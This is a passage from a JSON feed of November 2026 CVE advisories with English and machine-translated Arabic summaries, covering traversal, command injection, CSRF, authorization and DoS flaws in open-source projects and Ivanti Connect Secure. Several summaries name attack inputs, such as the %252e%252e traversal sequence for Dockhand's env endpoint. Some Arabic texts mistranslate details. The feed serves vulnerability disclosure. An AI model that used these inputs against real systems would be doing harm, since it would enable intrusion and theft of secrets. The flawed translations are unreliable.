تبعياً."},"refs":[["https://github.com/beecue/FastBee/commit/3393e3223965a9dc9682dfb2bd37635fffa0fbd2","patch"],["https://www.vulncheck.com/advisories/fastbee-through-2.1.0-idor-via-iot-product-by-id-endpoints","advisory"],["https://github.com/beecue/FastBee/issues/32","ref"],["https://github.com/kerwincui/FastBee","ref"],["https://github.com/kerwincui/FastBee/blob/v2.1.0/springboot/fastbee-open-api/src/main/java/com/fastbee/data/controller/ProductController.java#L77-L141","ref"],["https://github.com/kerwincui/FastBee/blob/v2.1.0/springboot/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/service/impl/ProductServiceImpl.java#L72-L92","ref"],["https://github.com/kerwincui/FastBee/blob/v2.1.0/springboot/fastbee-service/fastbee-iot-service/src/main/resources/mapper/iot/ProductMapper.xml#L37-L67","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"beecue-fastbee"},{"id":"CVE-2026-121554","cvss":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-201","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T15:17:12Z","product":"silkimen cordova-plugin-advanced-http","affected":[["0 – 3.3.1",null],["1.5.0 – 3.3.1",null]],"title":{"en":"cordova-plugin-advanced-http through 3.3.1 Cookie Leak via Cross-Origin Redirects","ar":"إضافة cordova-plugin-advanced-http حتى الإصدار 3.3.1 تعاني من تسريب ملفات تعريف الارتباط (Cookies) عبر عمليات إعادة التوجيه عبر الأصول (Cross-Origin)"},"summary":{"en":"cordova-plugin-advanced-http through 3.3.1 contains an information disclosure vulnerability that leaks cookies to third-party hosts by forwarding an explicitly set Cookie header across cross-origin redirects. Attackers controlling a redirect target, via an open redirect or attacker-supplied URL, can receive the original host's session cookies and hijack user sessions.","ar":"إضافة cordova-plugin-advanced-http حتى الإصدار 3.3.1 تحتوي على ثغرة الكشف عن المعلومات التي تسرب ملفات تعريف الارتباط إلى مضيفين من طرف ثالث عن طريق إعادة توجيه ترويسة Cookie محددة صراحة عبر عمليات إعادة التوجيه عبر الأصول. يمكن للمهاجمين الذين يتحكمون في وجهة إعادة التوجيه، عبر إعادة توجيه مفتوحة أو عنوان URL يوفره المهاجم، تلقي ملفات تعريف ارتباط جلسة المضيف الاصلي واختطاف جلسات المستخدمين."},"refs":[["https://github.com/silkimen/cordova-plugin-advanced-http/pull/549","patch"],["https://github.com/silkimen/cordova-plugin-advanced-http/commit/777a6f10939fd76ddf7f9fe029ae3fcaed850ca1","patch"],["https://www.vulncheck.com/advisories/cordova-plugin-advanced-http-through-3.3.1-cookie-leak-via-cross-origin-redirects","advisory"],["https://github.com/silkimen/cordova-plugin-advanced-http","ref"],["https://github.com/silkimen/cordova-plugin-advanced-http/blob/f6c3ea7f66fbe57770f53546e4af16a74bc2e0cf/www/helpers.js#L376","ref"],["https://github.com/silkimen/cordova-plugin-advanced-http/blob/f6c3ea7f66fbe57770f53546e4af16a74bc2e0cf/src/ios/CordovaHttpPlugin.m#L88-L98","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"silkimen-cordova-plugin-advanced-http"},{"id":"CVE-2026-121555","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-306","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T15:17:12Z","product":"DrizzleTime Foxel","affected":[["0 – 2.4.0",null]],"title":{"en":"Foxel through 2.4.0 Unauthenticated File Read via /api/fs/stream and /api/fs/thumb","ar":"نظام Foxel حتى الإصدار 2.4.0 يعاني من قراءة ملفات دون مصادقة عبر \\/api\\/fs\\/stream و \\/api\\/fs\\/thumb"},"summary":{"en":"Foxel through 2.4.0 contains a missing authentication vulnerability that allows unauthenticated attackers to read files by requesting the /api/fs/stream and /api/fs/thumb endpoints. Attackers can supply a VFS mount prefix and relative path to retrieve full file contents or thumbnails across all mounts, bypassing PathRule permission grants.","ar":"نظام Foxel حتى الإصدار 2.4.0 يحتوي على ثغرة غياب المصادقة التي تسمح للمهاجمين دون مصادقة بقراءة الملفات عن طريق طلب نقاط النهاية \\/api\\/fs\\/stream و \\/api\\/fs\\/thumb. يمكن للمهاجمين توفير بادئة تحميل نظام ملفات افتراضي (VFS) ومسار نسبي لاسترجاع محتويات الملفات بالكامل أو الصور المصغرة عبر جميع التحميلات، متجاوزين منح أذونات PathRule."},"refs":[["https://github.com/DrizzleTime/Foxel/commit/73d9fa825e1004d37abb7b10faea0cd7f5bcb463","patch"],["https://www.vulncheck.com/advisories/foxel-through-2.4.0-unauthenticated-file-read-via-api-fs-stream-and-api-fs-thumb","advisory"],["https://github.com/DrizzleTime/Foxel/issues/152","ref"],["https://github.com/DrizzleTime/Foxel","ref"],["https://github.com/DrizzleTime/Foxel/blob/v2.4.0/domain/virtual_fs/api.py#L164-L182","ref"],["https://github.com/DrizzleTime/Foxel/blob/v2.4.0/api/routers.py#L31","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"drizzletime-foxel"},{"id":"CVE-2026-121548","cvss":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-78","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T15:17:08Z","product":"jarun nnn","affected":[["0 – 5.3",null]],"title":{"en":"nnn through 5.3 OS Command Injection via togglex Plugin","ar":"أداة nnn حتى الإصدار 5.3 تعاني من حقن أوامر نظام التشغيل عبر المكون الإضافي togglex"},"summary":{"en":"Jarun nnn through 5.3 contains an OS command injection vulnerability in plugins/togglex that allows attackers to execute commands via crafted filenames. Attackers can place files whose names contain a double quote and shell syntax, which xargs -I splices into an sh -c script, running commands as the user invoking togglex.","ar":"أداة Jarun nnn حتى الإصدار 5.3 تحتوي على ثغرة حقن أوامر نظام التشغيل في المكون الإضافي plugins\\/togglex والتي تسمح للمهاجمين بتنفيذ أوامر عبر أسماء ملفات معدة خصيصاً. يمكن للمهاجمين وضع ملفات تحتوي أسماؤها على علامة اقتباس مزدوجة وبنية صدفة (shell)، والتي تقوم الأداة xargs -I بدمجها في نص برمجي sh -c، لتنفيذ أوامر بصلاحيات المستخدم الذي استدعى togglex."},"refs":[["https://github.com/jarun/nnn/commit/04715921aece0257fef7a8558c0783493d98efff","patch"],["https://www.vulncheck.com/advisories/nnn-through-5.3-os-command-injection-via-togglex-plugin","advisory"],["https://github.com/jarun/nnn/issues/2188","ref"],["https://github.com/jarun/nnn","ref"],["https://github.com/jarun/nnn/blob/v5.3/plugins/togglex#L15","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"jarun-nnn"},{"id":"CVE-2026-121543","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-863","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T15:17:04Z","product":"a466350665 smart-sso","affected":[["0 – 2.0.1",null]],"title":{"en":"smart-sso through 2.0.1 Incorrect Authorization in PermissionFilter Enables Admin Escalation","ar":"نظام smart-sso حتى الإصدار 2.0.1 يحتوي على تفويض غير صحيح في PermissionFilter يتيح تصعيد صلاحيات المشرف"},"summary":{"en":"smart-sso through 2.0.1 contains an incorrect authorization vulnerability in PermissionFilter that allows any authenticated user to call admin console APIs because unlisted paths are permitted by default. Attackers can call /admin/user-role/save to assign themselves the administrator role, reset passwords, and manage users, roles, and applications across integrated systems.","ar":"نظام smart-sso حتى الإصدار 2.0.1 يحتوي على ثغرة تفويض غير صحيح في PermissionFilter تسمح لأي مستخدم مصادق عليه باستدعاء واجهات برمجة تطبيقات وحدة تحكم المشرف لأن المسارات غير المدرجة مسموح بها افتراضياً. يمكن للمهاجمين استدعاء \\/admin\\/user-role\\/save لتعيين دور المشرف بأنفسهم، وإعادة تعيين كلمات المرور، وإدارة المستخدمين والأدوار والتطبيقات عبر الأنظمة المتكاملة."},"refs":[["https://github.com/a466350665/smart-sso/commit/9bccabaa5ec5","patch"],["https://github.com/a466350665/smart-sso/commit/a74a791bea7fc7b06ce95f52ce5805d8d7886d48","patch"],["https://www.vulncheck.com/advisories/smart-sso-through-2.0.1-incorrect-authorization-in-permissionfilter-enables-admin-escalation","advisory"],["https://github.com/a466350665/smart-sso/issues/79","ref"],["https://github.com/a466350665/smart-sso","ref"],["https://github.com/a466350665/smart-sso/blob/91d2dfef8973d308fa1b762e4c86dfbcbe9793ff/smart-sso-starter/smart-sso-starter-client/src/main/java/openjoe/smart/sso/client/filter/PermissionFilter.java#L38-L47","ref"],["https://github.com/a466350665/smart-sso/blob/91d2dfef8973d308fa1b762e4c86dfbcbe9793ff/smart-sso-server/src/main/java/openjoe/smart/sso/server/controller/admin/UserRoleController.java","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"a466350665-smart-sso"},{"id":"CVE-2026-121451","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-352","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T15:17:01Z","product":"amir1376 ab-download-manager","affected":[["0 – <1.11.2","1.11.2"]],"title":{"en":"AB Download Manager before 1.11.2 Arbitrary File Write via /start-headless-download CSRF","ar":"AB Download Manager النسخ قبل 1.11.2 مصابة بثغرة كتابة ملفات عشوائية عبر طلب تزوير الطلبات عبر المواقع (CSRF) في مسار •start-headless-download"},"summary":{"en":"AB Download Manager before 1.11.2 contains a cross-site request forgery vulnerability in its unauthenticated browser-integration API that allows remote attackers to write attacker-chosen files to arbitrary paths. A malicious web page can send a text/plain request to /start-headless-download with crafted folder and name values, placing payloads in startup folders for code execution on next login.","ar":"يحتوي AB Download Manager في الإصدارات قبل 1.11.2 على ثغرة تزوير الطلبات عبر المواقع في واجهة برمجة تطبيقات تكامل المتصفح التي لا تتطلب مصادقة، مما يسمح للمهاجمين عن بُعد بكتابة ملفات يختارونها في مسارات عشوائية. يمكن لصفحة ويب خبيثة إرسال طلب من نوع text/plain إلى مسار •start-headless-download متضمنة قيماً معدلة للمجلد والاسم، مما يؤدي إلى وضع حمولات برمجية في مجلدات بدء التشغيل لتنفيذ الأوامر عند تسجيل الدخول التالي."},"refs":[["https://github.com/amir1376/ab-download-manager/commit/34cd27af6a9a6c2046af112bc9bd34828fec0bbc","patch"],["https://www.vulncheck.com/advisories/ab-download-manager-before-1.11.2-arbitrary-file-write-via-start-headless-download-csrf","advisory"],["https://github.com/amir1376/ab-download-manager/issues/1489","ref"],["https://github.com/amir1376/ab-download-manager","ref"],["https://github.com/amir1376/ab-download-manager/blob/v1.11.1/integration/server/src/main/kotlin/com/abdownloadmanager/integration/Endpoints.kt#L27-L75","ref"],["https://github.com/amir1376/ab-download-manager/blob/v1.11.1/desktop/app/src/main/kotlin/com/abdownloadmanager/desktop/integration/IntegrationHandlerImp.kt#L55-L88","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"amir1376-ab-download-manager"},{"id":"CVE-2026-121452","cvss":8.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-295","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T15:17:01Z","product":"mlogclub bbs-go","affected":[["0 – 4.4.6",null]],"title":{"en":"bbs-go through 4.4.6 Improper TLS Certificate Validation in SMTP Email Service","ar":"bbs-go حتى الإصدار 4.4.6 مصاب بالتحقق غير السليم من شهادة TLS في خدمة بريد SMTP"},"summary":{"en":"bbs-go through 4.4.6 contains an improper certificate validation vulnerability that allows network-positioned attackers to intercept SMTP traffic because sendEmail() sets InsecureSkipVerify to true. Attackers can present any certificate to capture SMTP PLAIN auth credentials and read or modify outgoing password-reset and verification emails.","ar":"يحتوي bbs-go حتى الإصدار 4.4.6 على ثغرة تحقق غير سليم من الشهادات تسمح للمهاجمين المتواجدين على الشبكة اعتراض حركة مرور SMTP لأن الدالة sendEmail() تعين قيمة InsecureSkipVerify إلى true. يمكن للمهاجمين تقديم أي شهادة لالتقاط بيانات اعتماد المصادقة من نوع SMTP PLAIN وقراءة أو تعديل رسائل إعادة تعيين كلمة المرور ورسائل التحقق الصادرة."},"refs":[["https://github.com/mlogclub/bbs-go/commit/1a06e35fa6314ee2d3ada70685a7afa740baf6f5","patch"],["https://www.vulncheck.com/advisories/bbs-go-through-4.4.6-improper-tls-certificate-validation-in-smtp-email-service","advisory"],["https://github.com/mlogclub/bbs-go/issues/310","ref"],["https://github.com/mlogclub/bbs-go","ref"],["https://github.com/mlogclub/bbs-go/blob/v4.4.6/internal/services/email_service.go#L86-L113","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mlogclub-bbs-go"},{"id":"CVE-2026-121450","cvss":7.7,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-760","tags":["Cloud"],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T15:17:00Z","product":"PAICNI CFNext","affected":[["0 – <3.1.0","3.1.0"]],"title":{"en":"CFNext before 3.1.0 Admin Password Recovery via MD5-Derived Subscription UUID","ar":"CFNext النسخ قبل 3.1.0 مصاب باستعادة كلمة مرور المشرف عبر معرف اشتراك مشتق من خوارزمية MD5"},"summary":{"en":"CFNext before 3.1.0 contains a weak cryptographic derivation vulnerability that allows subscription link holders to recover the admin password because the subscription UUID is an MD5 of the password with a fixed public salt. Attackers can brute-force the password offline without rate limiting, log into the admin panel, and read stored Trojan, Clash, Telegram and Cloudflare API secrets.","ar":"يحتوي CFNext في الإصدارات قبل 3.1.0 على ثغرة اشتقاق تشفيري ضعيفة تسمح لحائزي روابط الاشتراكات باستعادة كلمة مرور المشرف لأن معرف الاشتراك هو ناتج خوارزمية MD5 لكلمة المرور مع ملح عام ثابت. يمكن للمهاجمين تنفيذ هجوم القوة الغاشمة على كلمة المرور دون اتصال ودون حدود لعدد الطلبات، وتسجيل الدخول إلى لوحة المشرف، وقراءة أسرار واجهات برمجة التطبيقات المخزنة لخدمات Trojan وClash وTelegram وCloudflare."},"refs":[["https://github.com/PAICNI/CFNext/commit/ca8ad82bb7c635f765c82a1cd0c954fd70d81fb7","patch"],["https://www.vulncheck.com/advisories/cfnext-before-3.1.0-admin-password-recovery-via-md5-derived-subscription-uuid","advisory"],["https://github.com/PAICNI/CFNext/issues/57","ref"],["https://github.com/PAICNI/CFNext","ref"],["https://github.com/PAICNI/CFNext/blob/1c7b3d8bed5b06a1449ea28302bb9a648f67e8e1/CFNext-%E6%98%8E%E6%96%87%E7%89%88.js#L12","ref"],["https://github.com/PAICNI/CFNext/blob/1c7b3d8bed5b06a1449ea28302bb9a648f67e8e1/CFNext-%E6%98%8E%E6%96%87%E7%89%88.js#L2440","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"paicni-cfnext"},{"id":"CVE-2026-118489","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-200","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T14:55:48Z","product":"Eclipse Foundation Eclipse Vert.x","affected":[["4.0.0 – 4.5.35",null],["5.0.0 – 5.2.2",null]],"title":{"en":"CachingWebClient shares user-specific HTTP responses across users via the shared cache tier","ar":"أداة CachingWebClient تشارك استجابات HTTP الخاصة بالمستخدمين عبر طبقة التخزين المؤقت المشتركة"},"summary":{"en":"In Eclipse Vert.x versions [4.0.0,4.5.35] or [5.0.0,5.2.2], when one `CachingWebClient` is shared across users — the documented pattern of a per-user `WebClientSession` over a shared caching client — a response that is specific to one user but is cacheable and not marked `private`/`no-store` is stored in the client-level shared cache tier and served to other users requesting the same URL. A later user's session, or an anonymous caller through the same client, can receive an earlier user's response. Depending on the response this discloses authenticated content or a session cookie, the latter enabling session fixation or hijacking.","ar":"في إصدارات Eclipse Vert.x من [4.0.0,4.5.35] أو [5.0.0,5.2.2]، عندما تتم مشاركة CachingWebClient بين مستخدمين متعددين -وهو النمط الموثق لـ WebClientSession لكل مستخدم عبر عميل تخزين مؤقت مشترك- يتم تخزين استجابة خاصة بمستخدم معين ولكنها قابلة للتخزين المؤقت وغير مصنفة على أنها private أو no-store في طبقة التخزين المؤقت المشتركة على مستوى العميل، ويتم تقديمها لمستخدمين آخرين يطلبون نفس عنوان URL. يمكن لجلسة مستخدم لاحق، أو لمتصل مجهول من خلال نفس العميل، تلقي استجابة المستخدم السابق. اعتمادًا على الاستجابة، يؤدي ذلك إلى كشف محتوى يخضع للمصادقة أو ملف تعريف ارتباط للجلسة، مما يتيح للأخير تثبيت الجلسة أو اختطافها."},"refs":[["https://github.com/vert-x3/vertx-web/security/advisories/GHSA-xh2g-9hw9-mvp3","ref"],["https://gitlab.eclipse.org/security/cve-assignment/-/work_items/523","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"eclipse-foundation-eclipse-vert-x"},{"id":"CVE-2026-118527","cvss":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","cwe":"CWE-340","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-11-03T14:53:28Z","product":"Ivanti Connect Secure","affected":[["25.1.0.0 – <25.1.1.3","25.1.1.3"]],"title":{"en":"Ivanti Connect Secure Generation of Predictable Numbers or Identifiers Vulnerability","ar":"ثغرة توليد أرقام أو معرّفات قابلة للتنبؤ في Ivanti Connect Secure"},"summary":{"en":"Ivanti Connect Secure contains a generation of predictable numbers or identifiers vulnerability that allows a remote authenticated attacker to upload files with attacker-controlled content to a known location on disk. This vulnerability can be chained with CVE-2026-104935 and CVE-2026-111357.","ar":"يحتوي Ivanti Connect Secure على ثغرة توليد أرقام أو معرّفات قابلة للتنبؤ تسمح لمهاجم عن بُعد مصادق عليه بتحميل ملفات محتوى يتحكم فيه المهاجم إلى موقع معروف على القرسك. يمكن ربط هذه الثغرة بـ CVE-2026-104935 و CVE-2026-111357."},"refs":[["https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-CVE-2026-104935?language=en_US","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-118527","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-118527","ref"]],"epss":null,"kevAdded":"2026-10-30T00:00:00Z","kevDue":"2026-11-13T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"قم بتطبيق إجراءات التخفيف وفقاً لتعليمات المورد، مع ضمان الامتثال لإرشادات توجيهات CISA BOD 26-04 لتحديد أولويات تحديثات الأمان بناءً على المخاطر (راجع عنوان URL في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA (راجع عنوان URL في الملاحظات). اتبع إرشادات BOD 26-04 المعمول بها لخدمات السحابة أو أوقف استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات BOD 26-04.","machineTranslated":true,"productSlug":"ivanti-connect-secure"},{"id":"CVE-2026-121449","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-200","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:28:37Z","product":"Finsys dockhand","affected":[["1.0.47 – <1.0.54","1.0.54"]],"title":{"en":"Dockhand 1.0.47 before 1.0.54 Secret Disclosure via Git Stack Webhook","ar":"كشف الأسرار في Dockhand من الإصدار 1.0.47 حتى ما قبل 1.0.54 عبر خطاف الويب Git Stack"},"summary":{"en":"Dockhand from 1.0.47 before 1.0.54 exposes plaintext stack secrets because deployStack() attaches resolved secret values to its result as resolvedSecrets, which Git-stack routes return unfiltered. Holders of a stack's webhook secret or users with stacks:start permission can trigger the Git stack webhook, manual deploy, or create-and-deploy endpoints to receive stored and external-provider secrets such as 1Password or Vault values.","ar":"يكشف منتج Dockhand من الإصدار 1.0.47 حتى ما قبل 1.0.54 عن أسرار التجميع بنص صريح، لأن الدالة deployStack() تربط قيم الأسرار المُحللة بنتيجتها كـ resolvedSecrets، وهي قيم تُرجعها مسارات Git-stack دون تنقية. يمكن لحاملي سر خطاف الويب للتجميع أو المستخدمين الذين لديهم صلاحية stacks:start تشغيل خطاف الويب للتجميع عبر Git، أو النشر اليدوي، أو نقاط النهاية create-and-deploy لتلقي الأسرار المخزنة والأسرار الخاصة بمزودين خارجيين مثل قيم 1Password أو Vault."},"refs":[["https://github.com/Finsys/dockhand/commit/a08843a8d5ab1d91fa2c6c392919f9117d582471","patch"],["https://github.com/Finsys/dockhand/security/advisories/GHSA-w9qx-qg64-f8pf","advisory"],["https://www.vulncheck.com/advisories/dockhand-1.0.47-before-1.0.54-secret-disclosure-via-git-stack-webhook","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"finsys-dockhand"},{"id":"CVE-2026-121448","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:28:36Z","product":"Finsys dockhand","affected":[["0 – <1.0.54","1.0.54"]],"title":{"en":"Dockhand before 1.0.54 Path Traversal via Stack Environment Routes","ar":"اجتياز المسار في Dockhand ما قبل الإصدار 1.0.54 عبر مسارات بيئة التجميع"},"summary":{"en":"Dockhand before 1.0.54 contains a path traversal vulnerability that allows authenticated users to read, overwrite, and delete .env files outside the stacks root by double-encoding the stack name. Attackers can send %252e%252e sequences to /api/stacks/[name]/env/raw to disclose cross-environment secrets, write into protected directories, or poison deployment variables.","ar":"يحتوي منتج Dockhand ما قبل الإصدار 1.0.54 على ثغرة اجتياز المسار تسمح للمستخدمين المصدق عليهم بقراءة ملفات .env، والكتابة فوقها، وحذفها خارج المجلد الجذر للتجمعات من خلال ترميز اسم التجميع مرتين. يمكن للمهاجمين إرسال تسلسلات %252e%252e إلى /api/assets/[name]/env/raw لكشف الأسرار عبر البيئات المختلفة، أو الكتابة في الدلائل المحمية، أو تسميم متغيرات النشر."},"refs":[["https://github.com/Finsys/dockhand/security/advisories/GHSA-q2vc-4qcx-2vm6","advisory"],["https://www.vulncheck.com/advisories/dockhand-before-1.0.54-path-traversal-via-stack-environment-routes","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"finsys-dockhand"},{"id":"CVE-2026-121445","cvss":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-754","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:28:34Z","product":"darylldoyle svg-sanitizer","affected":[["1.0.0 – <1.1.0","1.1.0"]],"title":{"en":"svg-sanitizer 1.0.0 before 1.1.0 ReDoS and Fail-Open via image-set CSS Stripping","ar":"حجب الخدمة واستجابة الفشل المفتوحة عبر إزالة تنسيقات CSS لـ image-set في svg-sanitizer من الإصدار 1.0.0 حتى ما قبل 1.1.0"},"summary":{"en":"darylldoyle svg-sanitizer from 1.0.0 before 1.1.0 contains a regular expression denial of service vulnerability in the image-set pattern of stripRemoteCssTokens() when removeRemoteReferences is enabled. Attackers can submit SVGs with many unclosed image-set tokens to exhaust CPU, or trigger PCRE limits causing sanitize() to throw a TypeError and leave unsanitized content.","ar":"يحتوي منتج darylldoyle svg-sanitizer من الإصدار 1.0.0 حتى ما قبل 1.1.0 على ثغرة حجب الخدمة بالتعبير المنتظم في نمط image-set التابع لـ stripRemoteCssTokens() عند تفعيل إزالة المراجع البعيدة removeRemoteReferences. يمكن للمهاجمين إرسال ملفات SVG تحتوي على العديد من رموز image-set غير المغلقة لاستنزاف وحدة المعالجة المركزية، أو تجاوز حدود PCRE مما يتسبب في طرح الدالة sanitize() لخطأ من نوع TypeError وترك محتوى غير مُنقّى."},"refs":[["https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-94x8-pw3c-6qcq","advisory"],["https://www.vulncheck.com/advisories/svg-sanitizer-1.0.0-before-1.1.0-redos-and-fail-open-via-image-set-css-stripping","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"darylldoyle-svg-sanitizer"},{"id":"CVE-2026-121444","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-400","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:28:33Z","product":"darylldoyle svg-sanitizer","affected":[["0.11.0 – <1.1.0","1.1.0"]],"title":{"en":"svg-sanitizer 0.11.0 before 1.1.0 Algorithmic Complexity DoS via use Reference Graph","ar":"حجب الخدمة عبر التعقيد الخوارزمي باستخدام رسم مرجعي في svg-sanitizer من الإصدار 0.11.0 حتى ما قبل 1.1.0"},"summary":{"en":"svg-sanitizer from 0.11.0 before 1.1.0 contains an algorithmic complexity denial of service vulnerability in hasInfiniteLoop() and countUse() of the use reference-graph analysis. Attackers can upload a small layered SVG with 15 levels of fanned-out use elements, forcing exponential path enumeration that pins PHP workers for hours.","ar":"يحتوي منتج svg-sanitizer من الإصدار 0.11.0 حتى ما قبل 1.1.0 على ثغرة حجب الخدمة تعتمد على التعقيد الخوارزمي في hasInfiniteLoop() و countUse() لتحليل الرسم المرجعي لاستخدام العناصر (use reference-graph). يمكن للمهاجمين رفع ملف SVG صغير متعدد الطبقات مع 15 مستوى من عناصر use المتفرعة، مما يجبر النظام على تعداد مسارات أسّي يثبت عمال PHP لعدة ساعات."},"refs":[["https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-hrwm-vcc9-hcm4","advisory"],["https://www.vulncheck.com/advisories/svg-sanitizer-0.11.0-before-1.1.0-algorithmic-complexity-dos-via-use-reference-graph","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"darylldoyle-svg-sanitizer"},{"id":"CVE-2026-121437","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-407","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T14:28:29Z","product":"lepture mistune","affected":[["3.3.0 – <3.3.4","3.3.4"]],"title":{"en":"Mistune 3.3.0 before 3.3.4 Quadratic-Time DoS via _process_emphasis_delimiters","ar":"حجب الخدمة بالوقت التربيعي في Mistune من الإصدار 3.3.0 حتى ما قبل 3.3.4 عبر _process_emphasis_delimiters"},"summary":{"en":"Mistune from 3.3.0 before 3.3.4 contains a denial of service vulnerability that allows remote attackers to exhaust CPU through quadratic-time emphasis delimiter processing. Attackers can submit small markdown documents with repeated patterns like \"*a_b\" to trigger an O(n²) index-fixup loop, stalling workers for seconds.","ar":"يحتوي منتج Mistune من الإصدار 3.3.0 حتى ما قبل 3.3.4 على ثغرة حجب الخدمة تتيح للمهاجمين عن بُعد استنزاف وحدة المعالجة المركزية من خلال معالجة محددات التمييز بزمن تربيعي. يمكن للمهاجمين إرسال مستندات ماركداون صغيرة تحتوي على أنماط متكررة مثل \"*a_b\" لتحفيز حلقة إصلاح الفهارس O(n²)، مما يؤدي إلى توقف العمال لعدة 